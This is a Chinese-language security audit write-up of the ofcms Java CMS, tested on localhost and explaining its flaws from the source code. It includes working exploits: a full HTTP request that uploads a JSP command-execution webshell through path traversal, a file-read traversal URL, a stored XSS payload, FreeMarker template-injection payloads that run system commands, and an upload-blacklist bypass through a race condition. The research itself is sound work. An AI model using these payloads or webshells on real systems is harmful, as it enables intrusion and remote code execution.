1.搭建
ofcms搭建:
git clone https://gitee.com/oufu/ofcms.git
然后导入maven依赖即可
注!!
手动安装重启后、还是打开安装步骤页面。
解决:检查conf/db.properties配置文件是否存在,需要把db-config改成db.properties
这个坑了我很久
2.审计
关于路径问题:
在Controller类中,有以下代码:
所以如果url中有/cms/template的,就要注意是不是该Controller的,在每个类前面可能还有其他种写法来表示url的路径
2.1任意文件上传
这里的url为:http://localhost:8080/ofcms_admin_war/admin/cms/template/save.json
post的参数有:
file_path=&dirs=&res_path=&file_name=&file_content=
代码如下:(// f为添加的注释)
/**
* 保存模板
*/
public void save() {
String resPath = getPara("res_path"); // f读取res_path参数
File pathFile = null;
if("res".equals(resPath)){ // f判断res_path参数,是否有res
pathFile = new File(SystemUtile.getSiteTemplateResourcePath());
}else {
pathFile = new File(SystemUtile.getSiteTemplatePath());
}
String dirName = getPara("dirs"); // f读取dirs为上传路径
if (dirName != null) { // f判断dirName是否为空
pathFile = new File(pathFile, dirName); // f读取的dirName传递给pathFile参数,与上个pathFile进行拼接
}
String fileName = getPara("file_name"); // f读取file_name为上传文件名
// 没有用getPara原因是,getPara因为安全问题会过滤某些html元素。
String fileContent = getRequest().getParameter("file_content"); // f读取file_content为上传内容
fileContent = fileContent.replace("<", "<").replace(">", ">"); // f保存的为html文件,replace替换<与>
File file = new File(pathFile, fileName); // f file即为最终文件名
FileUtils.writeString(file, fileContent); // f文件上传
rendSuccessJson();
}
主要分析save()函数,该函数有任意文件上传漏洞
一直到第7行,都没有问题,下面来看8、9行的getSiteTemplateResourcePath()以及getSiteTemplatePath()
public static String getSiteTemplateResourcePath() {
return PathKit.getWebRootPath() + "/resource/" + getSite().getStr("template_path");
}
public static String getSiteTemplatePath() {
return getFrontTemplatePath() + getSite().getStr("template_path");
}
PathKit.getWebRootPath()读取网站根路径,这里特指/Users/f0ngf0ng/JAVA/Tomcat/apache-tomcat-8.5.54/webapps/ofcms_admin_war/
new File(a,b)为拼接一个文件路径,输出得到的路径为a+b,如下:
File pathFile = new File("/Users/f0ngf0ng");
String dirName = "/ff";
pathFile = new File(pathFile, dirName);
System.out.print(pathFile);
输出为:/Users/f0ngf0ng/ff
file_path参数无用,整个save函数没有调用
res_path参数,决定上传位置有没有/resource/路径
file_name参数,决定上传的文件名
file_content参数,决定上传的内容
dirs参数,决定上传的路径
整个逻辑为,先判断res_path参数,如果值有res,就传入到resource路径内,上传路径为网站根目录与dirs拼接,文件名为file_name
举两个例子:
eg1:
dirs=/&res_path=res&file_name=test.html&file_content=1
上传的路径为:
/Users/f0ngf0ng/JAVA/Tomcat/apache-tomcat-8.5.54/webapps/ofcms_admin_war/resource/default/test.html
eg2:
dirs=/&res_path=&file_name=test.html&file_content=1
上传的路径为:
/Users/f0ngf0ng/JAVA/Tomcat/apache-tomcat-8.5.54/webapps/ofcms_admin_war/WEB-INF/page/default/test.html
下面通过网页中的元素(如图片)找到能访问的地方:
故dirs参数可以为dirs=../../static/assets/image
就可以上传至image文件夹内:
下面进行拿shell操作:
request:
```
POST /ofcms_admin_war/admin/cms/template/save.json HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 538
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/ofcms_admin_war/admin/cms/template/getTemplates.html
Cookie: JSESSIONID=5E9437762DDDE7307503020A723D1CE5
dirs=../../static/assets/image&res_path=res&file_name=test.jsp&file_content=%3C%25%0A++++if(%22f0ng%22.equals(request.getParameter(%22pwd%22)))%7B%0A++++++++java.io.InputStream+in+%3D+Runtime.getRuntime().exec(request.getParameter(%22i%22)).getInputStream()%3B%0A++++++++int+a+%3D+-1%3B%0A++++++++byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B%0A++++++++out.print(%22%3Cpre%3E%22)%3B%0A++++++++while((a%3Din.read(b))!%3D-1)%7B%0A++++++++++++out.println(new+String(b))%3B%0A++++++++%7D%0A++++++++out.print(%22%3C%2Fpre%3E%22)%3B%0A++++%7D%0A%25%3E

可以看到,虽然是static文件夹,还是可以解析jsp文件的
这里再看一个函数,大佬提到的,说因为这个所以只能传到static文件夹内
/
* 请求后缀名处理
*
* @author OF
* @date 2017年11月24日
*/
public class ActionHandler extends Handler {
private String[] suffix = { ".html", ".jsp", ".json" };
public static final String exclusions = "static/";
// private String baseApi = "api";
public ActionHandler(String[] suffix) {
super();
this.suffix = suffix;
}
public ActionHandler() {
super();
}
@Override
public void handle(String target, HttpServletRequest request,
HttpServletResponse response, boolean[] isHandled) {
/**
* 不包括 suffix 、以及api 地址的直接返回
*/
/*
* if (!isSuffix(target) && !"/".equals(target) &&
* !target.contains(baseApi)) { return; }
*/
//过虑静态文件
if(target.contains(exclusions)){
return;
}
target = isDisableAccess(target);
BaseController.setRequestParams();
// RequestSupport.setLocalRequest(request);
// RequestSupport.setRequestParams();
//JFinal.me().getAction(target,null);
next.handle(target, request, response, isHandled);
}
private String isDisableAccess(String target) {
for (int i = 0; i < suffix.length; i++) {
String suffi = getSuffix(target);
if (suffi.contains(suffix[i])) {
return target.replace(suffi, "");
}
}
return target;
}
/*
* private boolean isSuffix(String target) { for (int i = 0; i <
* suffix.length; i++) { if (suffix[i].equalsIgnoreCase(getSuffix(target)))
* { return true; } } return false; }
*/
public static String getSuffix(String fileName) {
if (fileName != null && fileName.contains(".")) {
return fileName.substring(fileName.lastIndexOf("."));
}
return "";
}
}
```
这里第31行的作用,判断路径里是否有'static/',追踪contains函数:
public boolean contains(CharSequence s) {
return indexOf(s.toString()) > -1;
}
可以看到,仅用indexOf来判断了参数是否有'static/'
这里我进行了测试,好像这里模块设置没有用到handle类,可能有些问题;不过如果这里用到的话,由于仅仅用了contains来匹配路径,所以可以采用../static/../..来进行绕过,达到任意目录上传效果
2.2特定任意文件查看(鸡肋,只能查看js、xml、css、html)
url为:
http://localhost:8080/ofcms_admin_war/admin/cms/template/getTemplates.html?res_path=res&dir=/&up_dir=/static&file_name=test.html
```
/*
* 模板文件
/
public void getTemplates() {
//当前目录
String dirName = getPara("dir",""); // f获取dir参数
//上级目录
String upDirName = getPara("up_dir","/"); // f获取up_dir参数
//类型区分
String resPath = getPara("res_path"); // f获取res_path参数
//文件目录
String dir = null;
if(!"/".equals(upDirName)){ // f判断upDirName参数是否有/
dir = upDirName+dirName; // f upDirName参数不等于'/',拼接upDirName与dirName
}else{
dir = dirName; // f upDirName参数等于'/',dirName
}
File pathFile = null;
if("res".equals(resPath)){
pathFile = new File(SystemUtile.getSiteTemplateResourcePath(),dir);
}else {
pathFile = new File(SystemUtile.getSiteTemplatePath(),dir);
}
File[] dirs = pathFile.listFiles(new FileFilter() { // f文件过滤,是文件夹的返回,否则不返回
@Override
public boolean accept(File file) {
return file.isDirectory();
}
});
if(StringUtils.isBlank (dirName)){ // f判断dirName是否为空
upDirName = upDirName.substring(upDirName.indexOf("/"),upDirName.lastIndexOf("/"));
}
setAttr("up_dir_name",upDirName); // f传入的up_dir参数
setAttr("up_dir","".equals(dir)?"/":dir); // f 返回up_dir参数,dir是否为空,是返回/,不是则返回dir
setAttr("dir_name",dirName.equals("")?SystemUtile.getSiteTemplatePathName():dirName); // f dir是否为空,是则为默认路径,不是则为dir
setAttr("dirs", dirs); // f经过文件过滤返回的文件夹
/*if (dirName != null) {
pathFile = new File(pathFile, dirName);
}*/
File[] files = pathFile.listFiles(new FileFilter() { //f文件过滤,文件末尾为.html、.xml、.css、.js的返回,否则不返回
@Override
public boolean accept(File file) {
return !file.isDirectory() && (file.getName().endsWith(".html") || file.getName().endsWith(".xml")
|| file.getName().endsWith(".css") || file.getName().endsWith(".js")); // f限制了读取的文件类型
}
});
setAttr("files", files); // f返回经过文件过滤的文件
String fileName = getPara("file_name", "index.html"); // f file_name默认值为index.html
File editFile = null;
if (fileName != null && files != null && files.length > 0) {
for (File f : files) { // f遍历返回的文件
if (fileName.equals(f.getName())) { // f如果文件名与返回的文件名中有相等
editFile = f;
break;
}
}
if (editFile == null) { // f如果文件名与返回的文件名中无相等的,则editFile为数组第一个文件
editFile = files[0];
fileName = editFile.getName(); // f得到文件名
}
}
setAttr("file_name", fileName); // f将文件名返回页面
if (editFile != null) {
String fileContent = FileUtils.readString(editFile); // f读取文件内容
if (fileContent != null) {
fileContent = fileContent.replace("<", "<").replace(">", ">"); // f将文件内容进行< >替换 < >
setAttr("file_content", fileContent); // f将文件内容返回页面
setAttr("file_path", editFile); // f将文件路径返回页面
}
}
if("res".equals(resPath)) {
render("/admin/cms/template/resource.html");
}else{
render("/admin/cms/template/index.html");
}
}}
```
这里大致逻辑为:拼接up_dir与dir,将up_dir与dir路径下的文件(后缀为.js .html .css .xml)的返回,并且页面可以返回文件夹
res_path参数判断是否有res
dir拼接
up_dir拼接
file_name文件名
通看整个类,没有对文件路径进行处理,仅仅有两个文件过滤,判断是否为文件夹,判断是否为特定后缀的文件,结果直接显示了出来,所以这里存在特定任意文件读取
这里举两个例子:
eg1:
http://localhost:8080/ofcms_admin_war/admin/cms/template/getTemplates.html?res_path=res&dir=../&up_dir=/../
返回的是/../../的内容,即/Users/f0ngf0ng/JAVA/Tomcat/apache-tomcat-8.5.54/webapps/ofcms_admin_war/目录下的文件
eg2:
http://localhost:8080/ofcms_admin_war/admin/cms/template/getTemplates.html?res_path=res&file_name=test1.html&dir=/../../static&dir_name=../static
返回的是/../../test1.html文件内容,即/Users/f0ngf0ng/JAVA/Tomcat/apache-tomcat-8.5.54/webapps/ofcms_admin_war/static/目录下的test1.html文件
所以这里可以进行任意特定文件读取:
url:
http://localhost:8080/ofcms_admin_war/admin/cms/template/getTemplates.html?res_path=res&file_name=web.xml&dir=/../../WEB-INF&dir_name=/WEB-INF
2.3存储XSS
这里先根据Sql的调用方式来看,ofcms运用的是jfinal来进行数据库操作,然后查了一下jfinal的调用机制,如下:
引用:
1、预定义sql模板
使用#sql指令和#end指令可以完成对sql模板的定义。#sql指令接收一个string类型的参数,用来作为该sql的唯一标识。下面我们来一起写一条简单的sql语句,代码如下。
```
sql("findUserList")
select * from t_user where id = ?
end
```
在web工程中新建一个sql文件夹,尔后创建一个demo.sql的文件,写入上述代码。当然sql文件的存放位置你可以根据自身工程的实际情况自行调整,这里仅做最简单的演示。
文件路径示例
需要注意的地方有两点,第一我们使用#sql指令定义了一条名字(ID)叫findUserList的模板sql;第二在sql中使用了?占位符替代了实际传入参数。
2、验证sql的有效性
根据第一步中的操作,我们已经定义了一个sql模板,接下来看看如何将刚才定义的sql在程序中运行。其实很简单,代码如下:
public void index(){
//获取预定义的sql,这里使用Db.getSql方法
String sql = Db.getSql("findUserList");
//执行查询方法,查找id=3的数据,最后输出到页面
renderJson(Db.find(sql,3));
}
执行查询后的输出结果,如下图:
输出查询结果
注意:其实这里还不能正确输出查询结果,因为还有一点配置没处理,别着急接着往下看。
3、欲用sql模板,必要配置
在插件配置这里其实只要关心和sql相关的两行代码就行。第一行代码是:arp.setBaseSqlTemplatePath()用于设置sql文件的存放路径;第二行代码是: arp.addSqlTemplate(),这行代码的作用是添加外部sql模板文件。
```
/*
* 配置插件
/
public void configPlugin(Plugins me) {
// 配置数据库连接池插件
DruidPlugin druidPlugin = createDruidPlugin();
me.add(druidPlugin);
// 配置ActiveRecord插件
ActiveRecordPlugin arp = new ActiveRecordPlugin(druidPlugin);
//设置sql文件的路径
arp.setBaseSqlTemplatePath(PathKit.getWebRootPath()+"/sql");
//添加sql模板
arp.addSqlTemplate("/demo.sql");
// 所有映射在 MappingKit 中自动化搞定
_MappingKit.mapping(arp);
me.add(arp);
}
可以知道的是,jfinal是调用的sql模板,然后根据sql模板里的?来进行数据的修改等
ofcms这里的url为:
http://localhost:8080/ofcms_admin_war/admin/system/user/add.json
数据为:
user_name=%3Cimg+src%3D1+onerror%3Dalert(111)%3E&role_id=1&login_name=admin2&user_password=123456&user_email=111%40qq.com&user_mobile=18888888888&user_sex=1&status=1&remark=%3Cimg+src%3D1+onerror%3Dalert(111)%3E
下面来看ofcms的代码:(这里是用户管理处的添加)
public void add() {
Map
String password = (String) params.get("user_password");
password = new Sha256Hash(password).toHex();
String roleId = (String) params.get("role_id");
params.remove("role_id");
params.put("user_password", password);
Record record = new Record();
record.setColumns(params); // f获取的参数set进record
try {
Db.save(AdminConst.TABLE_OF_SYS_USER, record); //f将record保存进TABLE_OF_SYS_USER即of_sys_user
if (!StringUtils.isBlank(roleId)) {
SqlPara sql = Db.getSqlPara("system.user.role_save",record.get("id"), roleId); // frecord.get获取参数1,roleId获取参数2
Db.update(sql); //f jfinal用法执行sql
}
rendSuccessJson();
} catch (Exception e) {
e.printStackTrace();
rendFailedJson(ErrorCode.get("9999"));
}
}
13行的system.user为一个模板,role_save为一个模板:
init.sql里
namespace("system.user")
#include("system/user.sql")
end
```
user.sql里
```
sql("role_save")
insert into of_sys_user_role (role_id,user_id,create_time,status) values( #para(1), #para(0),now(),'1')
end
```
下面来看获取数据的代码:
/**
* 查询列表方法
*/
public void getData() {
Map<String, Object> params = getParamsMap(); // f获取传来的参数
SqlPara sql = Db.getSqlPara("system.user.query", params); // f将得到的参数带入查询
setPageOrderByParams(sql, getPara("field"), getPara("sort"));
Page<Record> page = Db.paginate(getPageNum(), getPageSize(), sql); // f得到pageNum与pageSize,执行sql
rendSuccessJson(page.getList(), page.getTotalRow(),page.getPageNumber());// f遍历page,并返回json格式
}
第七行的field与sort应该是排序
user.sql里
```
sql("query")
select u.*,r.role_name from of_sys_user u
left join of_sys_user_role ur on u.user_id = ur.user_id left join of_sys_role r on ur.role_id = r.role_id
where u.user_id is not null
#if (user_id??) and u.user_id = #para(user_id)#end
#if (user_name??) and u.user_name like concat('%', #para(user_name), '%')#end
#if (user_mobile??) and u.user_mobile like concat('%', #para(user_mobile), '%')#end
#if (sort?? && field) order by order_field order_sort #end
end
```
这里可以看到,没有对输入输出做任何处理,所以如果插入XSS代码,是可以的进行弹窗的
2.4服务端模板注入
FreeMarker中包含一个TemplateModel接口,这个接口可以用于构造任意java对象,new操作符可以实例化TemplateModel的实现类。
步骤:
1、寻找可以上传FTL模板的漏洞点
2、尝试注入FTL模板
<#assign test="freemarker.template.utility.Execute"?new()> ${test("id")}
3、查找上传的FTL文件保存路径
<#assign test="freemarker.template.utility.Execute"?new()> ${test("find / -name *.ftl")}
4、获取WebShell
```
webshell.ftl <%if ("023".equals(request.getParameter("pwd"))) {java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048];while((a=in.read(b))!=-1){out.println(new String(b));}}%>
main.ftl <#assign test="freemarker.template.utility.Execute"?new()> ${test("cp /home/bmpapp/upc_plugin_home/export_plugin/development/user/webshell.ftl /home/bmpapp/tomcat/webapps/default.war/index.jsp")}
```
5、访问index.jsp
通过查看ofcms的readme.txt:
这里有两个服务端注入的payload:
payload1:
<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex("id") }
源码1:
```
public class Execute implements TemplateMethodModel {
private static final int OUTPUT_BUFFER_SIZE = 1024;
public Execute() {
}
public Object exec(List arguments) throws TemplateModelException {
StringBuffer aOutputBuffer = new StringBuffer();
if (arguments.size() < 1) { // f读取参数,如果参数大小小于1
throw new TemplateModelException("Need an argument to execute");
} else {
String aExecute = (String)((String)arguments.get(0)); // f获取参数为aExecute
try {
Process exec = Runtime.getRuntime().exec(aExecute); // f执行aExecute
InputStream execOut = exec.getInputStream(); // f输出为execOut
try {
Reader execReader = new InputStreamReader(execOut);
char[] buffer = new char[1024];
for(int bytes_read = execReader.read(buffer); bytes_read > 0; bytes_read = execReader.read(buffer)) {
aOutputBuffer.append(buffer, 0, bytes_read);
}
} finally {
execOut.close();
}
} catch (IOException var13) {
throw new TemplateModelException(var13.getMessage());
}
return aOutputBuffer.toString();
}
}
}
```
这里本地复现了一下,可能是如下代码:
```
//准备一个String数组
String[] strs = {"id"};
//String数组转List
List
Execute a = new Execute();
System.out.println(a.exec(strsToList1));
```
payload2:
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.lang.ProcessBuilder","ifconfig").start().getInputStream())) >
<#list 1..10000 as t>
<#assign line=br.readLine()!"null">
<#if line=="null">
<#break>
</#if>
${line}
${"<br>"}
</#list>
源码2:
```
public class ObjectConstructor implements TemplateMethodModelEx {
public ObjectConstructor() {
}
public Object exec(List args) throws TemplateModelException {
if (args.isEmpty()) {
throw new TemplateModelException("This method must have at least one argument, the name of the class to instantiate.");// f判断参数为空
} else {
String classname = args.get(0).toString();
Class cl = null;
try {
cl = ClassUtil.forName(classname); // f动态加载类
} catch (Exception var6) {
throw new TemplateModelException(var6.getMessage());
}
BeansWrapper bw = BeansWrapper.getDefaultInstance();
Object obj = bw.newInstance(cl, args.subList(1, args.size())); // f实例化对象
return bw.wrap(obj);
}
}
}
```
2.5关于jfinal的文件上传突破
这里大佬说windows可以根据windows的上传原理,这里不再多说,下面说一些其他的办法
根据代码:
upload/MultipartRequest.class的100-108行:
```
private boolean isSafeFile(UploadFile uploadFile) {
String fileName = uploadFile.getFileName().trim().toLowerCase();
if (!fileName.endsWith(".jsp") && !fileName.endsWith(".jspx")) { // f判断文件后缀是否以.jsp或者.jspx结尾,这里语句含义文件为不是这两个结尾
return true;
} else { // f文件为是这两个结尾
uploadFile.getFile().delete(); // f这里就是突破的重点
return false;
}
}
servlet/MultipartRequest.class的84-112行:
while((part = parser.readNextPart()) != null) { // f轮询每个参数
String name = part.getName();
if (name == null) {
throw new IOException("Malformed input: parameter name missing (known Opera 7 bug)");
}
String fileName;
if (part.isParam()) {
ParamPart paramPart = (ParamPart)part;
fileName = paramPart.getStringValue();
existingValues = (Vector)this.parameters.get(name);
if (existingValues == null) {
existingValues = new Vector();
this.parameters.put(name, existingValues);
}
existingValues.addElement(fileName);
} else if (part.isFile()) { // f判断是文件
FilePart filePart = (FilePart)part;
fileName = filePart.getFileName();
if (fileName != null) {
filePart.setRenamePolicy(policy);
filePart.writeTo(dir);
this.files.put(name, new UploadedFile(dir.toString(), filePart.getFileName(), fileName, filePart.getContentType())); // f上传文件
} else {
this.files.put(name, new UploadedFile((String)null, (String)null, (String)null, (String)null));
}
}
}
upload/MultipartRequest.class的76-90行:
this.multipartRequest = new com.oreilly.servlet.MultipartRequest(request, uploadPath, maxPostSize, encoding, fileRenamePolicy);
Enumeration files = this.multipartRequest.getFileNames();
while(files.hasMoreElements()) {
String name = (String)files.nextElement();
String filesystemName = this.multipartRequest.getFilesystemName(name);
if (filesystemName != null) {
String originalFileName = this.multipartRequest.getOriginalFileName(name);
String contentType = this.multipartRequest.getContentType(name);
UploadFile uploadFile = new UploadFile(name, uploadPath, filesystemName, originalFileName, contentType);
if (this.isSafeFile(uploadFile)) {
this.uploadFiles.add(uploadFile);
}
}
}
```
第1行到第11行判断是否为黑名单,中间还是可以进行操作的,只要代码没走到11行,那么jsp或者jspx文件不会被删除
根据servlet的轮询可以先让代码轮询参数,轮询第一个文件名参数后,上传,后面轮询到的参数出错,即可达到代码没有走到黑名单的那步
这里我对后面的参数进行了更改,添加了一个a,可以发现上传成功
针对这种先上传到服务器,再进行判断删除的方式,条件竞争也可以:
不断地进行条件竞争上传数据包,在他没有进行delete的时候,就可以在文件夹中看到jsp的文件
参考资料:
https://xz.aliyun.com/t/4712
https://www.freebuf.com/vuls/211327.html
https://blog.csdn.net/u014756827/article/details/81202233?utm_source=blogxgwz5
https://blog.51cto.com/duallay/1936931
0x01 基本概念POP:Property-Oriented Programming 面向属性编程POP链:通过多个属性/对象之前的调用关系形成的一个可利用链(如有错误请指正)PHP魔法函数:在php的语法中,有一些系统自带的方法名,均以双下划线开头…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论